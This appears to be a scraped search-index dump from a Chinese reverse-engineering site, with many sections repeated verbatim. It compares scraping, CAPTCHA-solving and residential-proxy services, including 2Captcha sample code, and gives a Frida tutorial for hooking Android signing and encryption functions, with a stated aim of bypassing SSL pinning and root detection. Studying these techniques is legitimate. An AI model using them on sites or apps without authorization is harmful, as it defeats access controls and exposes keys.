受限于供应商网络 ❌ 大规模场景成本高 BrowserStack Automate 核心优势: 2000+真实设备和浏览器组合 企业级可靠性（99.9% SLA） 详细的测试报告和视频录制 与 CI/CD 无缝集成 定价: Team: $29/月（1 个并发） Business: $99/月（5 个并发） Enterprise: $299/月起（25 个并发） 技术规格: // Selenium 集成 const caps = { \"bstack:options\": { userName: \"YOUR_USERNAME\", accessKey: \"YOUR_KEY\", }, browserName: \"Chrome\", browserVersion: \"latest\", }; 适用场景: 跨浏览器兼容性测试 移动端自动化测试 企业级 QA 自动化 官网: https://www.browserstack.com/ 竞品对比: Sauce Labs（类似定价和功能） LambdaTest（更便宜，$15/月起） Apify 核心优势: 专业网页爬取平台 1000+ 现成的爬虫 Actor 内置代理池和反检测 Serverless 架构 定价: Free: $0（每月$5 额度） Personal: $49/月 Team: $499/月 Enterprise: 定制化 技术特点: // Actor 示例 - 爬取Google搜索 const Apify = require(\"apify\"); Apify.main(async () =\u003e { const requestQueue = await Apify.openRequestQueue(); await requestQueue.addRequest({ url: \"https://google.com\" }); const crawler = new Apify.PuppeteerCrawler({ requestQueue, handlePageFunction: async ({ page, request }) =\u003e { const title = await page.title(); console.log(`Title: ${title}`); }, }); await crawler.run(); }); 适用场景: 中大规模数据采集 市场监测和价格追踪 无需维护基础设施的团队 官网: https://apify.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:1","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#apify"},{"categories":null,"collections":null,"content":"2. 验证码打码服务对比 服务商 reCAPTCHA v2 reCAPTCHA v3 hCaptcha 滑块验证码 价格（1000 次） 成功率 速度 2Captcha ✅ ✅ ✅ ✅ $2.99 95%+ 10-30s Anti-Captcha ✅ ✅ ✅ ✅ $2.00 96%+ 8-25s CapSolver ✅ ✅ ✅ ✅ $1.50 94%+ 15-35s DeathByCaptcha ✅ ✅ ❌ ✅ $1.39 92%+ 20-40s CapMonster Cloud ✅ ✅ ✅ ✅ $0.90 93%+ 15-30s 推荐方案 2Captcha（最可靠） const solver = new Captcha.Solver(\"YOUR_API_KEY\"); const result = await solver.recaptcha({ pageurl: \"https://example.com\", googlekey: \"6Le-wvkSAAAAAPBMRTvw0Q4Muexq9bi0DJwx_mJ-\", version: \"v2\", }); console.log(\"Token:\", result.data); 官网: https://2captcha.com/ 成本估算: 10 万次验证码 ≈ $300 Anti-Captcha（速度最快） 支持浏览器扩展自动集成 提供 Puppeteer/Playwright 插件 官网: https://anti-captcha.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:2","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#2-验证码打码服务对比"},{"categories":null,"collections":null,"content":"2. 验证码打码服务对比 服务商 reCAPTCHA v2 reCAPTCHA v3 hCaptcha 滑块验证码 价格（1000 次） 成功率 速度 2Captcha ✅ ✅ ✅ ✅ $2.99 95%+ 10-30s Anti-Captcha ✅ ✅ ✅ ✅ $2.00 96%+ 8-25s CapSolver ✅ ✅ ✅ ✅ $1.50 94%+ 15-35s DeathByCaptcha ✅ ✅ ❌ ✅ $1.39 92%+ 20-40s CapMonster Cloud ✅ ✅ ✅ ✅ $0.90 93%+ 15-30s 推荐方案 2Captcha（最可靠） const solver = new Captcha.Solver(\"YOUR_API_KEY\"); const result = await solver.recaptcha({ pageurl: \"https://example.com\", googlekey: \"6Le-wvkSAAAAAPBMRTvw0Q4Muexq9bi0DJwx_mJ-\", version: \"v2\", }); console.log(\"Token:\", result.data); 官网: https://2captcha.com/ 成本估算: 10 万次验证码 ≈ $300 Anti-Captcha（速度最快） 支持浏览器扩展自动集成 提供 Puppeteer/Playwright 插件 官网: https://anti-captcha.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:2","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#推荐方案"},{"categories":null,"collections":null,"content":"3. 代理 IP 服务对比 住宅代理（Residential Proxy） Bright Data（原 Luminati） 最大的住宅 IP 池（7200 万+） 按流量计费：$12.75/GB 起 企业级可靠性 官网: https://brightdata.com/ Smartproxy 4000 万+ 住宅 IP 按流量计费：$12.50/GB 起 更友好的定价 官网: https://smartproxy.com/ 对比: 特性 Bright Data Smartproxy Oxylabs IP 池大小 7200 万+ 4000 万+ 1 亿+ 价格/GB $12.75 $12.50 $15.00 最低消费 $500/月 $75/月 $300/月 成功率 99.5% 99.3% 99.6% 数据中心代理（Datacenter Proxy） 成本低，适合大规模爬取: Webshare: $2.00/10 个代理/月 Proxy-Seller: $1.20/IP/月 ProxyRack: $65/5000 端口/月 局限: 易被识别为代理，封禁率较高 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:3","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#3-代理-ip-服务对比"},{"categories":null,"collections":null,"content":"3. 代理 IP 服务对比 住宅代理（Residential Proxy） Bright Data（原 Luminati） 最大的住宅 IP 池（7200 万+） 按流量计费：$12.75/GB 起 企业级可靠性 官网: https://brightdata.com/ Smartproxy 4000 万+ 住宅 IP 按流量计费：$12.50/GB 起 更友好的定价 官网: https://smartproxy.com/ 对比: 特性 Bright Data Smartproxy Oxylabs IP 池大小 7200 万+ 4000 万+ 1 亿+ 价格/GB $12.75 $12.50 $15.00 最低消费 $500/月 $75/月 $300/月 成功率 99.5% 99.3% 99.6% 数据中心代理（Datacenter Proxy） 成本低，适合大规模爬取: Webshare: $2.00/10 个代理/月 Proxy-Seller: $1.20/IP/月 ProxyRack: $65/5000 端口/月 局限: 易被识别为代理，封禁率较高 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:3","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#住宅代理residential-proxy"},{"categories":null,"collections":null,"content":"3. 代理 IP 服务对比 住宅代理（Residential Proxy） Bright Data（原 Luminati） 最大的住宅 IP 池（7200 万+） 按流量计费：$12.75/GB 起 企业级可靠性 官网: https://brightdata.com/ Smartproxy 4000 万+ 住宅 IP 按流量计费：$12.50/GB 起 更友好的定价 官网: https://smartproxy.com/ 对比: 特性 Bright Data Smartproxy Oxylabs IP 池大小 7200 万+ 4000 万+ 1 亿+ 价格/GB $12.75 $12.50 $15.00 最低消费 $500/月 $75/月 $300/月 成功率 99.5% 99.3% 99.6% 数据中心代理（Datacenter Proxy） 成本低，适合大规模爬取: Webshare: $2.00/10 个代理/月 Proxy-Seller: $1.20/IP/月 ProxyRack: $65/5000 端口/月 局限: 易被识别为代理，封禁率较高 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:3","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#数据中心代理datacenter-proxy"},{"categories":null,"collections":null,"content":"4. 分布式爬虫平台对比 Scrapy Cloud（Scrapinghub） 功能: Scrapy 项目托管 自动扩展 Crawler 内置代理和反检测 定价: Free: 1 个爬虫 Professional: $9/月/爬虫 Enterprise: 定制化 官网: https://www.zyte.com/scrapy-cloud/ Crawlera（智能代理路由） 功能: 自动切换代理 IP 智能重试机制 绕过反爬虫 定价: $25/月起（10,000 次请求） Python 集成: import requests proxies = { 'http': 'http://YOUR_API_KEY:@proxy.crawlera.com:8011/' } response = requests.get('https://example.com', proxies=proxies) ParseHub（可视化爬虫） 特点: 无代码爬虫构建器 自动处理 JavaScript 渲染 云端运行 定价: Free: 5 个项目 Standard: $189/月（20 个项目） Professional: $599/月（无限项目） 适用: 非技术人员、快速原型 官网: https://www.parsehub.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:4","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#4-分布式爬虫平台对比"},{"categories":null,"collections":null,"content":"4. 分布式爬虫平台对比 Scrapy Cloud（Scrapinghub） 功能: Scrapy 项目托管 自动扩展 Crawler 内置代理和反检测 定价: Free: 1 个爬虫 Professional: $9/月/爬虫 Enterprise: 定制化 官网: https://www.zyte.com/scrapy-cloud/ Crawlera（智能代理路由） 功能: 自动切换代理 IP 智能重试机制 绕过反爬虫 定价: $25/月起（10,000 次请求） Python 集成: import requests proxies = { 'http': 'http://YOUR_API_KEY:@proxy.crawlera.com:8011/' } response = requests.get('https://example.com', proxies=proxies) ParseHub（可视化爬虫） 特点: 无代码爬虫构建器 自动处理 JavaScript 渲染 云端运行 定价: Free: 5 个项目 Standard: $189/月（20 个项目） Professional: $599/月（无限项目） 适用: 非技术人员、快速原型 官网: https://www.parsehub.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:4","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#scrapy-cloudscrapinghub"},{"categories":null,"collections":null,"content":"4. 分布式爬虫平台对比 Scrapy Cloud（Scrapinghub） 功能: Scrapy 项目托管 自动扩展 Crawler 内置代理和反检测 定价: Free: 1 个爬虫 Professional: $9/月/爬虫 Enterprise: 定制化 官网: https://www.zyte.com/scrapy-cloud/ Crawlera（智能代理路由） 功能: 自动切换代理 IP 智能重试机制 绕过反爬虫 定价: $25/月起（10,000 次请求） Python 集成: import requests proxies = { 'http': 'http://YOUR_API_KEY:@proxy.crawlera.com:8011/' } response = requests.get('https://example.com', proxies=proxies) ParseHub（可视化爬虫） 特点: 无代码爬虫构建器 自动处理 JavaScript 渲染 云端运行 定价: Free: 5 个项目 Standard: $189/月（20 个项目） Professional: $599/月（无限项目） 适用: 非技术人员、快速原型 官网: https://www.parsehub.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:4","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#crawlera智能代理路由"},{"categories":null,"collections":null,"content":"4. 分布式爬虫平台对比 Scrapy Cloud（Scrapinghub） 功能: Scrapy 项目托管 自动扩展 Crawler 内置代理和反检测 定价: Free: 1 个爬虫 Professional: $9/月/爬虫 Enterprise: 定制化 官网: https://www.zyte.com/scrapy-cloud/ Crawlera（智能代理路由） 功能: 自动切换代理 IP 智能重试机制 绕过反爬虫 定价: $25/月起（10,000 次请求） Python 集成: import requests proxies = { 'http': 'http://YOUR_API_KEY:@proxy.crawlera.com:8011/' } response = requests.get('https://example.com', proxies=proxies) ParseHub（可视化爬虫） 特点: 无代码爬虫构建器 自动处理 JavaScript 渲染 云端运行 定价: Free: 5 个项目 Standard: $189/月（20 个项目） Professional: $599/月（无限项目） 适用: 非技术人员、快速原型 官网: https://www.parsehub.com/ ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:4","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#parsehub可视化爬虫"},{"categories":null,"collections":null,"content":"5. 成本效益分析 案例：电商价格监控（100,000 页/天） 方案 A：自建 成本：服务器 $100/月 + 代理 $200/月 = $300/月 运维：需要 DevOps 工程师 风险：需要持续维护反检测 方案 B：Apify 成本：Team 计划 $499/月 运维：零运维 风险：低，平台负责反检测 方案 C：Bright Data + Browserless 成本：代理 $500/月 + 浏览器 $299/月 = $799/月 运维：最小化 风险：最低，企业级 SLA 结论: \u003c 1 万页/天：自建最划算 1-10 万页/天：Apify 性价比高 10 万页/天：混合方案（自建+商业代理） ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:5","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#5-成本效益分析"},{"categories":null,"collections":null,"content":"5. 成本效益分析 案例：电商价格监控（100,000 页/天） 方案 A：自建 成本：服务器 $100/月 + 代理 $200/月 = $300/月 运维：需要 DevOps 工程师 风险：需要持续维护反检测 方案 B：Apify 成本：Team 计划 $499/月 运维：零运维 风险：低，平台负责反检测 方案 C：Bright Data + Browserless 成本：代理 $500/月 + 浏览器 $299/月 = $799/月 运维：最小化 风险：最低，企业级 SLA 结论: \u003c 1 万页/天：自建最划算 1-10 万页/天：Apify 性价比高 10 万页/天：混合方案（自建+商业代理） ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:5","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#案例电商价格监控100000-页天"},{"categories":null,"collections":null,"content":"6. 技术选型决策树 需要跨浏览器测试？ ├─ 是 → BrowserStack/Sauce Labs └─ 否 → 需要大规模爬取？ ├─ 是（\u003e10万页/天）→ 自建 + Bright Data代理 └─ 否 → 团队有DevOps？ ├─ 是 → 自建Puppeteer Cluster └─ 否 → Apify/ParseHub ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:6","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#6-技术选型决策树"},{"categories":null,"collections":null,"content":"7. 开源 vs 商业方案综合对比 维度 自建开源 半托管（Apify） 全托管（BrowserStack） 初始成本 低 中 低 运营成本 高（人力） 低 零 可扩展性 需自行实现 自动扩展 自动扩展 技术控制 完全控制 部分控制 有限控制 学习曲线 陡峭 中等 平缓 反检测能力 需自己维护 平台提供 平台提供 合规性 自行负责 平台协助 平台负责 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:7","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#7-开源-vs-商业方案综合对比"},{"categories":null,"collections":null,"content":"8. 2025 年新趋势 AI 驱动的爬虫 Browse AI 无代码 AI 爬虫训练 自动适应网站结构变化 价格：$49/月起 官网: https://www.browse.ai/ Playwright 托管服务 Microsoft Playwright Testing（预览版） Azure 云端 Playwright 执行 与 GitHub Actions 集成 按使用量计费 状态: 公开预览 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:8","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#8-2025-年新趋势"},{"categories":null,"collections":null,"content":"8. 2025 年新趋势 AI 驱动的爬虫 Browse AI 无代码 AI 爬虫训练 自动适应网站结构变化 价格：$49/月起 官网: https://www.browse.ai/ Playwright 托管服务 Microsoft Playwright Testing（预览版） Azure 云端 Playwright 执行 与 GitHub Actions 集成 按使用量计费 状态: 公开预览 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:8","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#ai-驱动的爬虫"},{"categories":null,"collections":null,"content":"8. 2025 年新趋势 AI 驱动的爬虫 Browse AI 无代码 AI 爬虫训练 自动适应网站结构变化 价格：$49/月起 官网: https://www.browse.ai/ Playwright 托管服务 Microsoft Playwright Testing（预览版） Azure 云端 Playwright 执行 与 GitHub Actions 集成 按使用量计费 状态: 公开预览 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:8","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#playwright-托管服务"},{"categories":null,"collections":null,"content":"9. 避坑指南 常见陷阱: ❌ 过度依赖免费服务（稳定性差） ❌ 忽视法律合规（爬虫合法性审查） ❌ 低估运维成本（自建需要专人维护） ❌ 选错代理类型（住宅 vs 数据中心） 最佳实践: ✅ 从小规模开始，逐步扩展 ✅ 混合使用开源和商业工具 ✅ 设置合理的 rate limiting ✅ 定期评估成本效益 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:6:9","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#9-避坑指南"},{"categories":null,"collections":null,"content":"相关章节 Puppeteer 与 Playwright Selenium 指南 JavaScript Hook 脚本 反爬虫深度分析 ","date":"2025-02-26","objectID":"/reverse_engineering/web/07-scripts/automation_scripts/:7:0","tags":["Web","代理池","电商","视频App","Hook","自动化"],"title":"浏览器自动化脚本","uri":"/reverse_engineering/web/07-scripts/automation_scripts/#相关章节"},{"categories":null,"collections":null,"content":"使用动态分析验证和探索 Android App 的运行时行为 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - 掌握 Frida Hook 的基本用法 ADB 速查手册 - 设备连接与应用管理 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:0:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#使用动态分析验证和探索-android-app-的运行时行为"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ 你已经静态分析找到了目标函数，现在想验证它的实际输入输出 你想捕获运行时才生成的数据（如动态密钥、签名结果） 你想绕过 SSL Pinning / 反调试 / Root 检测 你想主动调用函数测试不同参数的效果 你想追踪代码执行路径，看看哪些函数被调用了 本配方教你：系统性地使用 Frida、调试器、追踪工具来验证静态分析结果、获取运行时数据、绕过保护机制。 核心理念： 动态分析：让代码说话 动态分析验证静态分析的假设 获取只在运行时存在的数据 主动探索程序的内部状态 Hook → Debug → Trace 三种武器各有用途 预计用时: 30-90 分钟 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:1:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:2:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Frida - 动态插桩框架 Android 设备（已 Root）或模拟器 Python 3.7+ - 运行 Frida 脚本 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:2:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 IDA Pro Remote Debugger - Native 层调试 objection - Frida 的交互式工具 Burp Suite - 网络抓包 GDB - GNU 调试器 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:2:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:3:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#前置条件"},{"categories":null,"collections":null,"content":"确认清单 # 1. Frida 正常运行 frida-ps -U # 2. Python 环境 python3 --version # 3. 目标 App 已安装 adb shell pm list packages | grep \u003capp_name\u003e ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:3:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#确认清单"},{"categories":null,"collections":null,"content":"Hook vs Debug vs Trace：何时用什么？ 场景 推荐工具 理由 想知道某个函数的输入输出 Frida Hook 最快速，不中断程序流 想理解复杂算法的每一步细节 IDA/GDB 调试器 可以单步执行，查看每个变量 想知道程序执行了哪些代码路径 Stalker/Trace 全自动记录，无需设断点 想绕过某个检测（如 SSL Pinning） Frida Hook 直接替换函数返回值 想找到某个字符串是在哪里生成的 内存断点 + 调试器 在写入时中断 想分析反调试机制 Frida + 调试器组合 先用 Frida 禁用，再用调试器分析 经验法则： 能用 Hook 解决的，别用调试器（效率问题） 需要理解逻辑的，必须用调试器（深度问题） 需要全局视野的，用追踪（覆盖率问题） ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:3:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#hook-vs-debug-vs-trace何时用什么"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：验证静态分析结果（15 分钟） 假设静态分析发现了签名函数：SignUtils.generateSign() 1.1 Hook 函数查看输入输出 基础 Hook 脚本 verify_sign.js： Java.perform(function () { console.log(\"[*] Start Hook SignUtils.generateSign\"); var SignUtils = Java.use(\"com.example.SignUtils\"); SignUtils.generateSign.implementation = function (params) { console.log(\"\\n[*] generateSign is called!\"); console.log(\" InputParameter:\"); // Print HashMap var iterator = params.entrySet().iterator(); while (iterator.hasNext()) { var entry = iterator.next(); console.log(\" \" + entry.getKey() + \" = \" + entry.getValue()); } // Call original function var result = this.generateSign(params); console.log(\" ReturnValue: \" + result); console.log(\"\"); return result; }; console.log(\"[*] Hook install completed\"); }); 运行结果示例： [*] generateSign is called! InputParameter: user = test123 timestamp = 1701234567 action = login ReturnValue: a1b2c3d4e5f6g7h8i9j0 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-1-步验证静态分析结果15-分钟"},{"categories":null,"collections":null,"content":"第 1 步：验证静态分析结果（15 分钟） 假设静态分析发现了签名函数：SignUtils.generateSign() 1.1 Hook 函数查看输入输出 基础 Hook 脚本 verify_sign.js： Java.perform(function () { console.log(\"[*] Start Hook SignUtils.generateSign\"); var SignUtils = Java.use(\"com.example.SignUtils\"); SignUtils.generateSign.implementation = function (params) { console.log(\"\\n[*] generateSign is called!\"); console.log(\" InputParameter:\"); // Print HashMap var iterator = params.entrySet().iterator(); while (iterator.hasNext()) { var entry = iterator.next(); console.log(\" \" + entry.getKey() + \" = \" + entry.getValue()); } // Call original function var result = this.generateSign(params); console.log(\" ReturnValue: \" + result); console.log(\"\"); return result; }; console.log(\"[*] Hook install completed\"); }); 运行结果示例： [*] generateSign is called! InputParameter: user = test123 timestamp = 1701234567 action = login ReturnValue: a1b2c3d4e5f6g7h8i9j0 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#11-hook-函数查看输入输出"},{"categories":null,"collections":null,"content":"第 2 步：处理重载方法（10 分钟） 2.1 列出所有重载 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // List all encryption methods console.log(\"[*] encrypt Method overloads:\"); CryptoUtil.encrypt.overloads.forEach(function (overload) { console.log(\" \" + overload); }); }); 输出示例： encrypt(java.lang.String) encrypt(java.lang.String, java.lang.String) encrypt([B) 2.2 Hook 特定重载 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Hook the second overloaded version CryptoUtil.encrypt.overload( \"java.lang.String\", \"java.lang.String\" ).implementation = function (data, key) { console.log(\"[*] encrypt(String, String) is called\"); console.log(\" Data:\", data); console.log(\" Key:\", key); var result = this.encrypt(data, key); console.log(\" Result:\", result); return result; }; // Hook the third overloaded version CryptoUtil.encrypt.overload(\"[B\").implementation = function (bytes) { console.log(\"[*] encrypt(byte[]) is called\"); console.log(\" BytesLength:\", bytes.length); var result = this.encrypt(bytes); console.log(\" ResultLength:\", result.length); return result; }; }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-2-步处理重载方法10-分钟"},{"categories":null,"collections":null,"content":"第 2 步：处理重载方法（10 分钟） 2.1 列出所有重载 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // List all encryption methods console.log(\"[*] encrypt Method overloads:\"); CryptoUtil.encrypt.overloads.forEach(function (overload) { console.log(\" \" + overload); }); }); 输出示例： encrypt(java.lang.String) encrypt(java.lang.String, java.lang.String) encrypt([B) 2.2 Hook 特定重载 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Hook the second overloaded version CryptoUtil.encrypt.overload( \"java.lang.String\", \"java.lang.String\" ).implementation = function (data, key) { console.log(\"[*] encrypt(String, String) is called\"); console.log(\" Data:\", data); console.log(\" Key:\", key); var result = this.encrypt(data, key); console.log(\" Result:\", result); return result; }; // Hook the third overloaded version CryptoUtil.encrypt.overload(\"[B\").implementation = function (bytes) { console.log(\"[*] encrypt(byte[]) is called\"); console.log(\" BytesLength:\", bytes.length); var result = this.encrypt(bytes); console.log(\" ResultLength:\", result.length); return result; }; }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#21-列出所有重载"},{"categories":null,"collections":null,"content":"第 2 步：处理重载方法（10 分钟） 2.1 列出所有重载 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // List all encryption methods console.log(\"[*] encrypt Method overloads:\"); CryptoUtil.encrypt.overloads.forEach(function (overload) { console.log(\" \" + overload); }); }); 输出示例： encrypt(java.lang.String) encrypt(java.lang.String, java.lang.String) encrypt([B) 2.2 Hook 特定重载 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Hook the second overloaded version CryptoUtil.encrypt.overload( \"java.lang.String\", \"java.lang.String\" ).implementation = function (data, key) { console.log(\"[*] encrypt(String, String) is called\"); console.log(\" Data:\", data); console.log(\" Key:\", key); var result = this.encrypt(data, key); console.log(\" Result:\", result); return result; }; // Hook the third overloaded version CryptoUtil.encrypt.overload(\"[B\").implementation = function (bytes) { console.log(\"[*] encrypt(byte[]) is called\"); console.log(\" BytesLength:\", bytes.length); var result = this.encrypt(bytes); console.log(\" ResultLength:\", result.length); return result; }; }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#22-hook-特定重载"},{"categories":null,"collections":null,"content":"第 3 步：主动调用函数（15 分钟） 3.1 创建新实例 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Constructor accessible try { var instance = CryptoUtil.$new(); // Call no-arg constructor var result = instance.encrypt(\"Hello World\", \"mykey\"); console.log(\"[*] MainCallResult:\", result); } catch (e) { console.log(\"[-] No way to create instance:\", e); } }); 3.2 使用已有实例 Java.perform(function () { Java.choose(\"com.example.CryptoUtil\", { onMatch: function (instance) { console.log(\"[+] Instance:\", instance); // Actively call var encrypted = instance.encrypt(\"test data\"); console.log(\"[*] EncryptResult:\", encrypted); var decrypted = instance.decrypt(encrypted); console.log(\"[*] DecryptResult:\", decrypted); }, onComplete: function () { console.log(\"[*] Search completed\"); }, }); }); 3.3 调用静态方法 Java.perform(function () 